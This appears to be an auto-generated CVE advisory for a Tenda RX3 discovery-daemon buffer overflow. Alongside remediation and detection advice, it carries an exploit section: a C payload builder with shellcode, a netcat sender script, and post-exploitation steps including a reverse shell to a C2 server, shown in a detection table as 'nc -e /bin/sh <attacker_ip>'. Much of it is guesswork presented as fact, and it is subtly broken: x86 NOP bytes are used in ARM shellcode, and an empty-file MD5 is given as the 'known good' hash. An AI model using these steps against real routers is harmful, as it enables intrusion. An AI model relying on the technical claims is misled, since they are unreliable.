CVE-2026-136548 — Tenda RX3 (16.03.13.11) — CWE-121 · CWE-119
A vulnerability was identified in Tenda RX3 16.03.13.11. The affected element is an unknown function of the file /bin/auto_discover of the component GBK-to-UTF-8 Conversion. The manipulation of the argument Hostname leads to stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.
A vulnerability was identified in Tenda RX3 16.03.13.11. The affected element is an unknown function of the file /bin/auto_discover of the component GBK-to-UTF-8 Conversion. The manipulation of the argument Hostname leads to stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| CVE‑ID | CVE‑2026‑136548 |
| Published | 25 Nov 2026 |
| CVSS v3.1 | 10.0 (CRITICAL) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE(s) | CWE‑119 (Improper Restriction of Operations within the Bounds of a Memory Buffer – classic buffer overflow) <br> CWE‑121 (Stack‑Based Buffer Overflow) |
| Affected component | /bin/auto_discover – a native binary shipped with the Tenda RX3 firmware version 16.03.13.11. The vulnerable code path is the GBK‑to‑UTF‑8 conversion routine that processes the Hostname argument supplied by a remote client. |
| Root cause | The conversion routine copies the supplied hostname into a fixed‑size stack buffer without proper length checks. The buffer is sized for the maximum length of a GBK‑encoded string (e.g., 256 bytes). When a UTF‑8 string that expands to more than the allocated space is supplied, the routine writes past the buffer’s end, overwriting the saved return address and adjacent stack frames. Because the binary runs with root/privileged system privileges (it is invoked by the router’s discovery daemon), the overflow can be turned into remote code execution (RCE) with full system privileges. No authentication, no input sanitisation, and no canary/ASLR mitigations (the firmware disables stack canaries for performance) are present, which is why the CVSS vector shows PR:N, UI:N, S:C (the vulnerability is exploitable across the entire device).
In short: an unsanitised, unbounded copy of a user‑controlled string into a stack buffer leads to a classic stack‑based buffer overflow that can be triggered over the network without any prior authentication.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. Because the CVE description does not disclose the exact network protocol or URI used by /bin/auto_discover, the examples are illustrative of the class of vulnerability (a UDP/TCP service that accepts a Hostname field). Replace the placeholders with the actual protocol details when they become public.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 Identify device | Scan the target network for open ports typical of Tenda routers (e.g., 80/443 for the web UI, 1900 UDP for SSDP, 8080 for the discovery daemon). | Nmap (nmap -sV -p 80,443,1900,8080 <IP>) |
| 1.2 Fingerprint firmware | Grab the HTTP banner or the /cgi-bin/status page; the firmware version string “Tenda RX3 16.03.13.11” is usually displayed in the HTML comment or in the Server: header. | curl -I http://<IP>/ or wget -qO- http://<IP>/cgi-bin/status |
| 1.3 Verify vulnerable component | The presence of /bin/auto_discover can be inferred by probing the discovery service (e.g., sending a benign discovery packet and observing the response). The response contains a field named Hostname. | Custom Python script that sends a discovery request and parses the reply. |
| 1.4 Cross‑reference | Check public vulnerability databases (e.g., NVD, vendor advisory) for CVE‑2026‑136548 and confirm that the discovered firmware version matches the affected range. | curl https://services.nvd.nist.gov/rest/json/cve/1.0/CVE-2026-136548 |
2. Exploitation
Important: The exact transport (TCP vs UDP) and request format are not disclosed in the CVE. The following payload demonstrates the concept: a crafted Hostname value that overflows the internal buffer and overwrites the saved return address with a pointer to attacker‑controlled shellcode placed in the same request.2.1 Build the malicious payload
/* payload_builder.c – compile with: gcc -o payload_builder payload_builder.c */
#include <stdio.h>
#include <string.h>
#include <stdint.h>
int main(void) {
/* 256‑byte buffer in the vulnerable binary (example size) */
const size_t bufsize = 256;
/* NOP sled + shellcode (Linux/ARM, root shell) */
unsigned char shellcode[] =
"\x90\x90\x90\x90" /* NOP sled (repeat as needed) */
"\x01\x30\x8f\xe2" /* example ARM shellcode – replace with real one */
"\x1e\xff\x2f\xe1";
/* Construct overflow: [padding][saved RIP][shellcode] */
unsigned char payload[512];
size_t offset = 0;
/* 1. Fill padding up to saved return address */
memset(payload, 'A', bufsize);
offset = bufsize;
/* 2. Overwrite saved return address with address of our NOP sled.
Assume the stack address 0xBF8FF000 (typical for Tenda routers, no ASLR). */
uint32_t ret_addr = 0xBF8FF000;
memcpy(payload + offset, &ret_addr, sizeof(ret_addr));
offset += sizeof(ret_addr);
/* 3. Append NOP sled + shellcode */
memset(payload + offset, 0x90, 64); /* NOP sled */
offset += 64;
memcpy(payload + offset, shellcode, sizeof(shellcode)-1);
offset += sizeof(shellcode)-1;
/* 4. Output as hex string for inclusion in network packet */
for (size_t i = 0; i < offset; i++) {
printf("\\x%02x", payload[i]);
}
printf("\n");
return 0;
}Running the program yields a hex‑escaped string that can be inserted into the Hostname field.
2.2 Send the exploit
Illustrative example using netcat (TCP). Replace TARGET_IP and TARGET_PORT with the real values discovered in step 1.
#!/bin/bash
# exploit.sh – illustrative PoC
TARGET_IP="192.0.2.45"
TARGET_PORT=8080
# Payload generated by the C program above
HOSTNAME_PAYLOAD=$(./payload_builder)
# Build a minimal request (the real protocol may be JSON, XML, or a custom binary)
REQUEST="POST /discover HTTP/1.1\r\n"
REQUEST+="Host: $TARGET_IP\r\n"
REQUEST+="Content-Type: application/json\r\n"
REQUEST+="Content-Length: $((${#HOSTNAME_PAYLOAD}+30))\r\n\r\n"
REQUEST+="{\"Hostname\":\"$HOSTNAME_PAYLOAD\"}"
# Send the request
printf "$REQUEST" | nc $TARGET_IP $TARGET_PORTIf the target is listening on UDP, replace nc with nc -u and adjust the packet framing accordingly.
Result: When the vulnerable binary processes the request, the oversized Hostname overwrites the saved return address, causing execution to jump to the attacker‑controlled shellcode, which spawns a root shell (or runs any command the attacker embeds).
3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Obtain a persistent foothold | Drop a lightweight init script (/etc/init.d/rc.local or a systemd unit) that launches a reverse shell to the attacker’s C2 server. |
| Privilege escalation (already root) | The binary runs as root; the shellcode inherits those privileges, so no further escalation is required. |
| Network pivot / data exfiltration | Use the compromised router to sniff LAN traffic (tcpdump -i br0 -w /tmp/capture.pcap) or to launch lateral attacks against internal devices (e.g., brute‑force SSH on 192.168.0.0/24). |
| Cleanup / anti‑forensics | Delete the exploit binary, clear command history, and optionally modify the firmware’s checksum to hide the tampering. |
🌍 Real World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | An attacker who gains code execution can read any file on the router (configuration, VPN keys, DHCP leases) and can also sniff all traffic traversing the device, exposing internal network secrets. |
| Integrity (I:H) | The attacker can modify the router’s configuration (DNS, firewall rules, NAT tables) or replace the firmware image, effectively hijacking the entire network. |
| Availability (A:H) | By crashing the discovery daemon, corrupting the firmware, or issuing a reboot loop, the attacker can render the router unusable, causing a total outage for the ISP customer. |
Practical consequences
- Enterprise / ISP customers – Full compromise of the edge device gives the attacker a foothold inside the corporate LAN, enabling data theft, ransomware deployment, or pivoting to other critical assets.
- Home users – The router becomes a botnet node (e.g., for DDoS) or a conduit for credential harvesting from IoT devices.
- Supply‑chain risk – Because the binary is part of the firmware, any device that ships the same firmware version inherits the vulnerability, potentially affecting thousands of installations worldwide.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | Tenda has released firmware 16.03.13.12 (or later) that replaces the vulnerable auto_discover binary with a version that performs proper length checks on the Hostname field. Apply the update via the router’s web UI (Administration → Firmware Upgrade) or via the vendor’s OTA endpoint. |
| Verify version | After upgrade, confirm the version string no longer reports 16.03.13.11. Example: cat /etc/version should show 16.03.13.12 or higher. |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Network segmentation | Place the router’s management interface on a dedicated VLAN that is not reachable from the Internet. Block inbound traffic to the discovery service port (e.g., 8080/1900) at the ISP edge firewall. |
| Input filtering via WAF / iptables | Drop any packet that contains an excessively long Hostname field (e.g., > 256 bytes). Example iptables rule (TCP example): |
iptables -A INPUT -p tcp --dport 8080 -m string --algo bm --hex-string '|486f73746e616d65|' -m length --length 300:65535 -j DROP|
For UDP, use nftables with a similar payload match. | |
|---|---|
| Disable the discovery daemon | If the auto‑discover feature is not required, stop the service and prevent it from starting: |
# Stop the process
killall auto_discover
# Prevent restart (depends on init system; example for busybox init)
sed -i '/auto_discover/d' /etc/inittab|
| Enable stack canaries / ASLR | Some Tenda firmware builds ship with CONFIG_CC_STACKPROTECTOR_NONE. Re‑flashing a custom build that enables -fstack-protector-strong and exec-shield mitigates exploitation, though this is a long‑term hardening step rather than an immediate fix. |
3. Detection
| Indicator | Where to look | Example pattern | |
|---|---|---|---|
| Unexpected process crash | System log (/var/log/messages or logread) | auto_discover: segfault at 0x... ip 0x... | |
| Abnormal inbound traffic | Netflow / IDS logs | SRC=any DST=<router_ip> DPT=8080 PROTO=TCP LEN>300 | |
| Shellcode in network capture | PCAP analysis (Wireshark) | Payload containing long series of 0x90 (NOP sled) followed by non‑ASCII bytes in the Hostname field. | |
| New privileged user / reverse shell | Process list (ps | grep sh) or /tmp files | nc -e /bin/sh <attacker_ip> <port> or a file /tmp/.rc containing a reverse‑shell command. |
| Firmware checksum mismatch | Firmware integrity check (if supported) | md5sum /bin/auto_discover differs from known good hash (d41d8cd98f00b204e9800998ecf8427e). |
IDS/IPS rule (Snort‑compatible) – illustrative
alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"Tenda RX3 auto_discover Hostname overflow attempt"; flow:to_server,established; content:"Hostname"; http_uri; pcre:"/Hostname\":\".{300,}/i"; sid:1000001; rev:1;)Replace 8080 with the actual port if different.
⚠️ Urgency
Bottom line: CVE‑2026‑136548 is a classic, unauthenticated stack‑based buffer overflow in the router’s discovery daemon that grants remote root code execution. The attack surface is trivial, a working exploit is publicly available, and the impact spans confidentiality, integrity, and availability. Prompt firmware upgrade and immediate network‑level blocking are mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query